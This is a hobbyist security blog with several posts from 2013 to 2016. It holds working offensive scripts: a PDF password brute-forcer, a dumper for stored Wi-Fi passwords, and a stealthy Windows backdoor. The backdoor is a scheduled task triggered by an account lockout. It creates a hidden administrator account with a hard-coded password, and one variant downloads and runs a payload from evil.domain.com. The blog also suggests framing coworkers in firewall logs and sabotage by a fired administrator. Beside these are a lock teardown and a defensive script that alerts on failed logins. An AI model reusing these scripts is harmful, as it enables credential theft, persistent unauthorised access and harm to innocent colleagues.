Monday, July 11, 2016

Simple PDF Brute Force Tool using GhostScript 9.09

I've had to deal with a lot of PDF's that come in either Secured (cannot copy, cannot print) or Password Protected (requires password to open) lately.

Using GhostScript you can make a simple brute force tool to attack these password protected PDF's.

I'm well aware there are commercial options for doing this, but I don't like to pay money for something I can figure out myself. My method is not as fast or feature rich, but it can get the job done.

You'll need to install GhostScript, I used revision 9.09, if you're using a newer or older version adjust the script below accordingly for the executable paths.

You'll also need a dictionary file (%userprofile%\desktop\passwords.txt) <- adjust accordingly.

With the way this script is written, you can simply drag and drop the PDF file onto the batch file icon, or pass it as a variable ex: bruteforece.bat Path.to.PDF.pdf

@echo off
setlocal enabledelayedexpansion
Title Performing Magic, please wait...
for /f "tokens=* delims=" %%a in (%userprofile%\desktop\passwords.txt) do (
echo Trying password: %%a
"C:\Program Files (x86)\gs\gs9.09\bin\gswin32c.exe" -q -sPDFPassword=%%a %1
if !errorlevel! == 0 echo Password is %%a & pause > nul
cls
)
echo password not found
pause
exit

Thursday, December 17, 2015

Z-Con Lock Teardown

I got this lock a while ago for two reasons; it's an alarmed padlock, it has a funky key.
Since then it's been hanging out in a display case.

Here's the tear down.
This is the lock I got with a Z-Con Lock core. I believe that Z-Con makes the cores then sells them to manufacturers to use in their own locks. It's a reasonably well designed lock, no exploitable design flaws in the body of the lock that would allow me to unlock it that I could find, disabling the audio alarm is a different story. Dual ball bearing locking mechanism so shimming is out of the question, solid metal exterior, hardened shackle.

Here's the bottom of the lock:
With just a small philips screwdriver you can undo the bottom plate and access the internals. However actually getting that bottom plate off is rather tricky since it's a very very tight fit.

Internals exposed
On the top here you can see the edge of the circuit board, the wiring, and the battery compartment cover (white plastic).

Here's the circuitry:


Large black circle in the upper left is the speaker. Yellow is a piece of rubber meant to waterproof.


Above: A closeup of the circuit board "front"

Above: A closeup of the "back" of the circuit board. The white wrapped part is a trembler switch that activates the alarm if the lock is moved too much. Is is a metal tube hooked to ground with a delicate spring inside hooked to positive that will jiggle, come into contact with the tube and complete the circuit activating the alarm.

Not pictured: There is a magnetic reed switch on the positive cable that extends upwards into the lock. There is also a magnet on the extension from the back of the lock cylinder so that when the lock is turned to the alarm (little speaker picture) setting it closes the circuit and then allows the trembler to set off the alarm if activated.

So that's that for the alarm part of the lock. You can muffle it with silly putty stuffed into the speaker holes, or you can unscrew the bottom, remove the plate, then take your choice of methods to disable the circuitry.


Let's take a look at the Z-Con lock core.

Here it is still in the lock body. There is a bit of a funnel piece that you have to drill out the retaining plug, just to the right of the lock core. Then it is also held in place by a lock ring. I could not find a way to remove the funnel without permanently damaging the lock body. I kind of get the feeling they really don't want you to take it apart.





So here's the actual lock core. I've drawn 3 lines to show the way the key lines up inside the lock. Green the lock is open, the key is not removable in this position.
Yellow the lock is in the normal locked position, notice the extra cut out extensions, this allows the key to be inserted and extracted.
Red the lock is in the locked and alarmed position, again notice the extra cut out extensions allowing the key to be inserted and removed from this position.

Here is the back of the lock core. The red arrows point to lock ring that keep the inner core and the outer shell together.


The inner core is made of 2 parts (minus the springs and wards)





Here is the point of interaction between the top of the inner core and the key.






















 Here is the bottom of the inner core. you can see the springs and the 3 moving wards at the bottom.











Above left is the lock inner core with the key inserted. Note the 3 black extensions, these are the  moving wards.
Above right is the lock outer cover. The red arrows show the grooves that when the wards align properly allow the lock to turn. The green arrow shows the groove for the lock ring that hold the two parts of the lock together.

Here is the inner core fully disassembled
Top left core shell
Top middle inner core lower
Top right inner core upper

The 3 black plastic items in the lower right are the moving wards. Note the difference in the diameter of the hole in the middle of them. These correspond to the different diameters of the key, which then align them with the grooves in the core shell and allow the inner core to move thus turning the extension on the top of the lock core (not pictured) that allows the ball bearings to retract and the shackle to open.

Inner core with all springs, wards, and upper portion removed.



This is a Z-Con key (not mine). The blue arrow is pointing to the ward that keeps the key in the lock when in the open position and also turns the lower portion of the inner core of the lock.
The red arrows point to the resting locations for the black plastic moving wards. See that the diameter of the holes in the plastic rings corresponds with the diameter and steps of the key.




 So that's how they work.

Now for how to pick them...

I've got some ideas but nothing I've really tested yet. As far as a straight up bypass I don't see anything that would work.

The keys almost have to have a very low entropy as far as possible bitting setups. A unique lock would require not only a unique key to be lathed but also a unique core shell with matching inner grooves.
My assumption would be that only 1 of the wards (the lowest) actually is movable as far as the bitting is concerned, the other 2 are static for all keys. I think this because the lowest ward is the only one that doesn't sit on a lathed ledge it sits on a couple of ears that stick out. But I don't have access to any other Z-Con locks and keys so I can't really say for sure.

I'll be posting the exact measurements of the key in a few days so others can compare and we can find out just exactly how many unique keys there are for this type of lock and possibly make a pick for it.
















Monday, August 17, 2015

Dumping Wireless Passwords from Windows Machines (win7 & win8 tested; win10 not tested) using netsh

Here's how to dump all the wifi passwords from a windows machine using builtin tools:
Windows 7 - Tested Succesfully
Windows 8 - Tested Succesfully
Windows 10 - Not Tested

-=batch file=-
@echo off
for /f "tokens=4 delims=: " %%a in ('netsh wlan show profiles ^| find "Profile "') do (
netsh wlan show profiles name=%%a key=clear | findstr "SSID Cipher Content" | find /v "Number" echo.
)
pause > nul


How it works:
When doing a netsh wlan show profiles we get all the wireless profiles for the machine, but we also get a lot of other garbage that gets in the way. Piping it to find "Profile " cleans that up to only what we want. Notice the space after Profile in the find command. Then we can delimit on : and space character to get it down to just the wireless ssid's.

Now that we have just the ssid's, aka Profiles in netsh terms, we can query them to get various information from them, mostly we're just concerned with SSID, Cipher (encryption) and Key Content (the password). Using findstr we can search for multiple terms in one go, however the term Number of SSID's is also in the information so we use a find /v (do not match) to strip that out. Echo. inserts a blank line to keep things readable.

You'll likely want to put some redirects to save that to a text file, remote server share, something you can hold onto it with.

-=The one liner =-
I also wrote up a one liner to use in the event you can't run a batch file:

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

This one liner outputs nice clean output by first clearing the screen (cls), echoing a bank line (echo.), the running through the same script but keeping the echo feature off and then conveniently turning it back on at the end of the script.


Wednesday, March 11, 2015

Windows Event Log Driven Back Doors

Well it's about time to get that white hat a little dirty.

None of this is original ideas, I've heard of this being done in theory of "oh, you know what would make a good persistence idea?" but I've never actually seen anything implement it. So I decided to do that.
*EDIT In fact this is exactly where I saw it first. SANS Wipe the HardDrive written by Mark Baggett and inspired by Jake Williams.

Let us take this from the metaphysical to the physical.

I was red teaming a bit for an experiential learning class. I needed to create a backup method of maintaining access to a domain. I didn't want anything running constantly, I didn't want to leave files on the disk.

I have been utilizing Event ID driven scheduled tasks at work for some monitoring and logging of service creation, user creation/deletion, users being added to security groups, little things that are really helpful to have an eye on and will give you a huge leg up in the event of malware infections and penetration incidents and just in general to have a better idea of what's going on in your domain. This is especially effective if you setup an event log gatherer and use subscriptions pushed out to all computers on the domain. Anyways, I decided to write a scheduled task that will trigger in the event of an account being locked out. This is something I can trigger externally from an OWA page, PPTP portal, corporate web page, anything that has a windows based login method that checks against AD. 

So here's our command:

schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes >> nul & net localgroup administrators Backdoor /add > nul & net user Backdoor /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"

Lets step through the command:

schtasks /create - Create a new scheduled task

/tn "Microsoft\Windows\LocalEventLogRotate"The name of the task will be LocalEventLogRotate, but this is a bit interesting when I first found this out. In the modern Task Scheduler there are several subfolders that have tasks in them. Not very likely that someone is going to drill down into them to check for tasks. You can make the path whatever you want *needs citation and Task Scheduler will make the directory structure.  Nifty right? So this task will show up in Microsoft\Windows sub folder. No point in making it really easy to find right?

 /tr "\"cmd.exe\" /k net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes > nul & net localgroup administrators Backdoor /add > nul & net user Backdoor /comment:\"Built-in account for Backdooring your network suckers\" > nul & exit" - This is the meat here, our command that will execute when the event occurs. So, double quotes are an issue that will need to be dealt with. We want cmd.exe to execute everything else as an argument so we need to enclose that in quotes, but we also have to have our arguments in quotes since there are spaces, but we can't just do this: "cmd.exe" "/k etc..." because then that's 2 different things and it will syntax error out as an invalid argument. So we need to escape wherever we have double quotes inside of the outer most double quotes with the \. Since we're going with the goal of not having extra files on the disk we need to make this command a one liner. In batch you can use the & sign to string commands together. & = run the following command no matter the success / failure of the previous command. && = run the following command ONLY if the previous command was successful. In this instance the command will create a user named Backdoor with password 1R3AlG00dP@55w0rd make sure the account is active (/active:yes). Also note that if your password is going to be 14 characters or over you need to add the /y command to the net user add otherwise it will hang forever in purgatory waiting for a response. Bad thing to have happen to your last resort backdoor. Then it adds that account to the local administrators group, then adds a comment to the user account to kind of disguise it a bit like the other built-in account windows creates. Take the extra time to make your stuff look like it belongs and it's more likely to get past the people hunting for it at first glance which may well provide you the extra 5 minutes you need to get the job done.

/f - Force the task to be created even if a task with the same name already exists.

/ru system - run as the SYSTEM user. This is important as if you don't have a valid account and password to use that's active you can't make the task run unless that user is logged in when it happens. Run as system = task executes every time the Event ID is triggered, not just when the user that created the task is logged in.

/sc onevent - When to execute the task, in this instance we want to have it execute when a particular event happens.

/ec Security - Which event log to follow to look for the Event ID in question. So if you need to follow a different Event ID and it occurs in the Application or System or whatever event log, you'll need to change that to match.

/mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"  - Modifier for the onevent trigger. This is were we define exactly what event we're looking for. It's kind of intuitive when you look at it. We're looking for EventID 4740 (user account locked out) logged by the Microsoft Windows Security Auditing provider. If you can't figure out how to modify that to be exactly what you want, open the event log, find the event you want to trigger on, right click, attach task to this event. skip though, choose execute a program, cmd.exe. Then go into Task Scheduler Library\Event Viewer Tasks, find your newly created task, right click it, export, save it, and open the XML file. Viola there's the exact string you need to copy there in the <Subscription> tag.


Cool, we have a task that will run and all we have to do is lockout any account on the target computer, or if we managed to install this on a DC any account on the domain.

....wait a minute, that's going to get executed more often than we may intend. That could be bad if  you want it to stay under wraps until the trap is ready to spring. So how do we nail it down to if a SPECIFIC account gets locked out??

Our built-in friend wevtutil.exe is the man for the job here. Windows Event Utility can read through the event logs and output specific EventID selections. For this instance what we need to do is the following:

wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]"

qe security - query the security event log
/rd:true - reverse direction, read from newest to oldest
/F:text - output it in text format
/c:1 - Find only the last 1 events (most recent since we have rd set to true)

That will output the last instance of an account getting locked out. It will look something similar to this, in this instance it's from a domain controller, it will look very similar just different names on a non domain controller:

Event[0]:
  Log Name: Security
  Source: Microsoft-Windows-Security-Auditing
  Date: 2015-03-11T10:12:52.499
  Event ID: 4740
  Task: User Account Management
  Level: Information
  Opcode: Info
  Keyword: Audit Success
  User: N/A
  User Name: N/A
  Computer: Domain.Controller.fake.internal
  Description:
A user account was locked out.

Subject:
        Security ID:            S-1-5-18
        Account Name:           Domain.Controller$
        Account Domain:         fake
        Logon ID:               0x3e7

Account That Was Locked Out:
        Security ID:            S-1-5-21-561012550-38641HK9414-249823312-7894

        Account Name:           Backupexec

Additional Information:
        Caller Computer Name:   Someserverorworkstation


Okay, that's a lot of info but we really only need the Account Name. So we pipe it to find:

wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name"

oh wait there's 2 account names in that file, happily since the one we're looking for is the last one we don't have to get into any tricky stuff as that one will decide the errorlevel.

Then we end up with just:

        Account Name:           Backupexec

Then we can do another pass to find the specific account we're looking for

 wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4740]" | find /i "account name" | find /i "triggeraccount"

Now would be a good moment to mention the 261 character limit, spaces included, for the /TR option of a scheduled task. Always with the restrictions..... no rest for the wicked.


So we have to get that cut down a bit if we want to keep everything in just the task run option and not write extra stuff to disk. Lets cut out the net user comment part and nix the nul's.

So we end up with this here:

schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"Account Name:\" | find /i \"triggername\" && net user Backdoor 1R3AlG00dP@55w0rd /add /y /active:yes & net localgroup administrators Backdoor /add & exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"

We use our && command (&& = only execute if the previous command was successful) to continue execution if the triggeraccount name is found. We're sitting at a cool 256 characters for the /TR. We're doing good, targeted triggering, creating a user, adding to an administration group. 

Having an account is cool, but if we don't have access to the server we're stuck looking through the window from the outside, no fun at all. We can do better.

Alright, same parameters as before, but we're going to bend the rule slightly about writing files to disk. We'll do a one liner FTP command to retrieve and execute a file. I used some formatting tricks to shoehorn everything in here.

schtasks /create /tn "Microsoft\Windows\LocalEventLogRotate" /tr "\"cmd.exe\" /k set &wevtutil qe security /rd:true /f:text /c:1 /q:\"*[System/EventID=4740]\" | find /i \"bob\" &&echo user username> f&echo password>>f&echo bin>>f&echo get i.exe>>f&echo quit>>f&ftp -n -s:f evil.domain.com&start \"\" i.exe&exit" /f /ru system /ec Security /sc onevent /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4740]]"

We start out the same as before, querying the event log for the most recent locked account and see if it's our good friend bob. Then we set out to writing out our FTP script. Using a couple space cheats and short file names we manage to squeeze everything in. Note that you don't need spaces before or after an & or before or after the append >>. that saves us a bunch of characters which ends up being kind of a big deal since we're limited to 261 characters. Using a single letter for the FTP script file name (f) saves us more space.

Pretty slick right? What else can we do...

Run a task whenever a particular user logs out, change an accounts password back every time the password gets changed, setup a backdoor account if you get locked out / deleted, whatever windows creates an event for, you can create a task for. Your only limits are how specific you want execution to be and 261 characters. Other than that, the world is yours.

Wednesday, July 17, 2013

Masquerading on Palo Alto User-ID Tracking

A lot of next gen firewalls have the ability to tag web browsing with a user associated to the computer it came from. I'm going to show you how to change who the firewall thinks you are for Palo Alto User-ID, and likely other devices.

Palo Alto uses a secondary software package called User-ID Agent. This software monitors the event log on domain controllers and pulls the username associated with a computer from the event log. So when you logon an event is registered with the domain controller, User-ID Agent pulls the info and updates it's data with who is logged in.

If you do a runas /user:domain\user (must have the actual credentials) and start any application, that will register on the domain controller as a new logon to that computer and will adjust the user appropriately. It does not change back or register as "no user" if there is a logoff, only logons change it. So from that point on all traffic is associated with a different user, still your IP address but it says "User x was logged into the computer at this time".

Palo Alto can do traffic filtering by user id, so if you knew the login for an account that is unrestricted, as far as the firewall rules are concerned, you could login as yourself, do a runas and start a cmd prompt (or whatever) then close it and all your traffic will be reported as belonging to the other user possibly bypassing  rules setup to block other users traffic.

Or you could hang some co-worker as you went to some horrific granny-tranny spanish-mistress bondage porn site and it got registered in the firewall logs and now HR and IT will be grilling some poor soul about their internet browsing habits.

Things such as opening outlook will revert back to being reported as your user is logged into the computer as it authenticates to AD. Anything that authenticates to AD will create a logon event and will change the user reported as logged on to the computer.

Connect to an SSL page through a Socat Proxy

So lets say you have a device, at a remote location, that has a SSL web page. You can only access it from the local subnet and you don't want to disrupt any users to kick them off their machine.... or you plan to bounce off a client there, maybe without their knowledge.

We will make the following conditions for this example:
You're in the 192.168.20.0/24 subnet.
You can access subnet 192.168.3.0/24
192.168.3.11 - device with an ssl page that is accessible ONLY from the 192.168.3.x/24 subnet 192.168.3.20 - device you have access to on that subnet
192.168.20.10 - your machine

We can use Socat to make the connection because it has the option for an openssl connection type.

Copy over Socat, and it's dependencies:
cygcrypto-0.9.8.dll
cygminires.dll
cygncurses-8.dll
cygreadline6.dll
cygssl-0.9.8.dll
cygwin1.dll
cygwrap-0.dll
to the 192.168.3.20 machine and issue the following command:

socat TCP-LISTEN:8100,fork OPENSSL:192.168.3.x:443,verify=0

This tells socat to start listening on 192.168.3.20 port 8100 (or whatever port is available), and fork incoming connections so it can handle multiple connections at a time.

*Fork is not really necessary for this example, probably better to leave it out, but if you need multiple connections to the device you need the fork option.

Then send that traffic over an openssl connection to 192.168.3.11 port 443 and NOT to verify the ssl cert for the page you're trying to connect to (verify=0).

*You can change it to verify the ssl cert (verify=1) but if the certificate is not correct, ie self signed, or intended to be used on a public site and you're accessing it internally, etc. the connection will not succeed.

Then on 192.168.20.10 open your browser and put in 192.168.3.20:8100. Viola you have access to your SSL site that requires a connection from the local subnet.

Now, before we go any further the connection between 192.168.20.10 and 192.168.3.20 is NOT encrypted, that means anyone sniffing the traffic will see everything that's sent between 192.168.20.10 and 192.168.3.20. That's bad. Especially since you're probably going to have to type in credentials to access the page, and if the sniffer misses that, then there's still the cookie that can be stolen as well.

Traffic between 192.168.3.20 and 192.168.3.11 IS encrypted, BUT since we have verify=0 it will accept a forged certificate. That's also bad. But if the device has an invalid cert to begin with there's nothing we can do about it.

You can secure your connection between 192.168.3.20 and 192.168.20.10 by generating ssl certificates Instructions can be found here but that requires access to a system with openssl or some other cert signing software and since you're likely to be dealing with windows machines that's unlikely to be handy, but it can be done. You would need to change TCP-LISTEN to OPENSSL-LISTEN also.


Friday, April 26, 2013

AD Failed Login Alerting

Using the event triggers of Windows Server 2008 I've setup a script to alert me to failed login attempts and several other events of interest to me.

Here's how it all rolls together:

Someone fails a kerberos login, an Event Id 4771 gets logged on the DC. I've setup a task to run when this Event ID is triggered. Here's a solid page on how to do that if you're reading this and saying "wtf is this guy talking about" Tasks based on Event Log Activity

At first I just had it setup to send me an email to let me know that a failed login had occurred. I quickly found out that there's a LOT of failed logins per day on my domain, ~100. We have a lot of users it makes sense now that I think about it and see how often it happens. Since in their infinite wisdom Microsoft didn't include an option to attach the event information to the email these emails were pretty useless.

So now we need to find a way to get the information from the event log into an email.

Wevtutil is a nifty little windows utility (included natively) that can query the event log and output the event info to a file. That's handy. I'll be honest the syntax is a but confusing to me but I got it to do what I needed.

wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4771]" > file.txt

"qe security" is to query the security log
/rd:true is reverse direction, aka read from the newest event to the oldest
/f:text is the output format, there are other options
/c:1 find the first 1 event that matches
/q: xpath query string. I'm not going to go into explaining xpath queries, google is your friend. This one says find all (*) from System EventID is equal to 4771 (failed login event ID). You can get very specific if you'd like with the query.

Now, you can create two tasks to trigger in order when there's an event, so you could set things up like so:

1. Failed login occurs, event is created in the Event Log.
2. Task 1 for that event is triggered.
3. Use Wevtutil to output the event information to a text file
4. Task 2  for the event is triggered
5. Email is sent and attached is the output from Wevutil

I don't like that setup, seems overly complex in my mind no need for 2 tasks when we can have just 1 task and 1 script. I put a copy of my favorite command line emailer BLAT in the folder with my script and used that at the end of the script to send out the email.

 -=Script=-
@echo off
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4771]" > X:\path\file.txt
 
X:\Path\blat.exe X:\path\wevtutiloutputfile.txt -server mail.domain.whatever -subject "Failed Login" -to you@domain.whatever -mailfrom FailedLogin@domain.whatever

del /f /q X:\path\file.txt

*you need to make sure you use the full path for everything OR set your task to start in the specified directory on the task options when you create the task. Task. Had to get one last one in there.

Okay so now I get an email that a login has failed and I get the full info of the event log for that particular event. We're getting closer, however it's not as "human friendly" as I'd like it to be. Specifically it doesn't include the users full name, just the account login name, and it only gives the code for the failed login (0x18 for example) and doesn't tell you that 0x18 means bad username or password. There are many reasons that a login can fail and I for one don't want to try and remember what each error code means.

So we need to massage the text into an output that has more useful information and is easily readable:

-=Script=-

@echo off
wevtutil qe security /rd:true /f:text /c:1 /q:"*[System/EventID=4771]" > X:\Path\failed_login.txt

type X:\Path\failed_login.txt | find /i "Account Name" > X:\Path\fail_alert.txt

for /f "tokens=3" %%a in ('type X:\Path\failed_login.txt ^| find /i "Account Name"') do set accname=%%a

for /f "tokens=2,* delims= " %%a in ('net user %accname% /domain ^| find /i "Full Name"') do echo Full Name: %%b >> X:\Path\fail_alert.txt

type X:\Path\failed_login.txt | find /i "Client Address" >> X:\Path\fail_alert.txt

type X:\Path\failed_login.txt | find "Failure Code:" >> X:\Path\fail_alert.txt

for /f "tokens=2 Delims=x" %%a in ('type X:\Path\failed_login.txt ^| find "Failure Code:"') do set fail=%%a

if %fail% == 17 echo Reason Failed: Users Password has Expired >> X:\Path\fail_alert.txt

if %fail% == 12 echo Reason Failed: Account Disabled / Account Expired >> X:\Path\fail_alert.txt

if %fail% == 18 echo Reason Failed: Bad Username or Password >> X:\Path\fail_alert.txt

if %fail% == 25 echo Reason Failed: Workstation Clock too far out of Sync with DC >> X:\Path\fail_alert.txt

for /f "tokens=2 delims=:" %%a in ('type X:\Path\failed_login.txt ^| find "Computer:"') do set frm=%%a

echo Logged From: %frm% >> X:\Path\fail_alert.txt

for /f "tokens=1,* delims=:" %%a in ('type X:\Path\failed_login.txt ^| find "Date:"') do set tme=%%b

echo Logged At: %tme% >> X:\Path\fail_alert.txt

X:\Path\blat.exe X:\Path\fail_alert.txt -server mailserver -subject "Failed Login" -to you@yourdomain.ext -mailfrom FailedLogin@yourdomain.ext

del /f /q X:\Path\failed_login.txt

del /f /q X:\Path\fail_alert.txt




So what's going on here is this:

We use wevtutil to query the security log and find the last 1 event with the ID of 4771 (failed login) and output the text of the event to a file (failed_login.txt)

Then we search the file for the line with "Account Name" this gives us the user account name, output that to what will end up being the email body.

Then we do the same search again, except this time we're going to set just the actual account name as a varaible not the whole line.

Then we're going to query the domain for that account name and grab the Full Name (their actual name) value. Output that to the email body file.

Then we search the event output again for the client address (computer the login attempt came from) and the reason it failed (failure code). Output those to the email body file.

Then we do the search for the failure code again and set it as a variable.

Then we run through some if statements to check if the failure code is one of the common failure codes. Output that to the email body file.

*I didn't do a full list of all possible failure codes because there are only a few common ones that happen, also if the failure code isn't one of the common ones something unusual is probably happening and I'm going to have to look it up anyways. Kind of a way to alert me that I need to pay attention through lack of information. You can find a list of failure codes here: Failure Codes

Then we do a search through the wevtutil output again and find the computer that's reporting the failure. Set that as a variable and output it to the email body file, with some formatting.

Then we do the same thing with the time / date. Output it to the email body file.

Then we tell BLAT to do it's thing and send us an email.

Then we clean up the files and wait to be triggered again.

We end up getting an email with a body similar to this:



                Account Name:                 smahoney
                Full Name:                        Mahoney, Sausage
                Client Address:                 ::ffff:192.168.0.56
                Failure Code:                     0x18
                Reason Failed: Bad Username or Password
                Logged From:  dc1.fakedomain.local
                Logged At:  2013-04-26T08:52:35.445 

That's about as good as I'm looking for.

Now this setup isn't perfect, if you have multiple failed logins rapidly things are going to get messy as you're using static output names for the files. It takes about 2 seconds for the script to run so as long as you don't have multiple failed attempts from different users within 2 seconds you're golden. You could tack on a %random% variable to the file name to eliminate that problem. I haven't tested it yet but I'm sure it'd work and the odds that you're having enough failed logins to hit the same %random% variable output while the file exists is slim, and if that is happening, you've got much larger problems.

There's lots and lots of interesting Event Id's that you can use this for, like when an account is created, deleted, or reaches the locked out state. Anything that registers an event in any of the event logs can be used to trigger this setup.

Now, you can also use this as post exploit foothold. For example, find a service user account, one that no one has any reason to ever actually log in with, setup a task that when that particular account fails a login create a user, add them to remote desktop users group, vpn users, and domain admins group, then intentionally fail a login via the OWA page, their ancient PPTP VPN, a Sharepoint page, that RDP port they didn't block, anywhere that you can try an AD login onto the domain to trigger it. Thanks to Mark Baggett for pointing that one out here: Wipe the Drive Part 4

Or maybe you're just a vengeful IT type and want all hell to break lose when you're fired and tie an account disable / deleted task to your user account.

I'm looking currently for a way to get user generated data into the event log somehow, if we can do that from some external source, and we had previous access to the server and created a task and some scripts to parse the event log info, we have the makings of a really slick backdoor.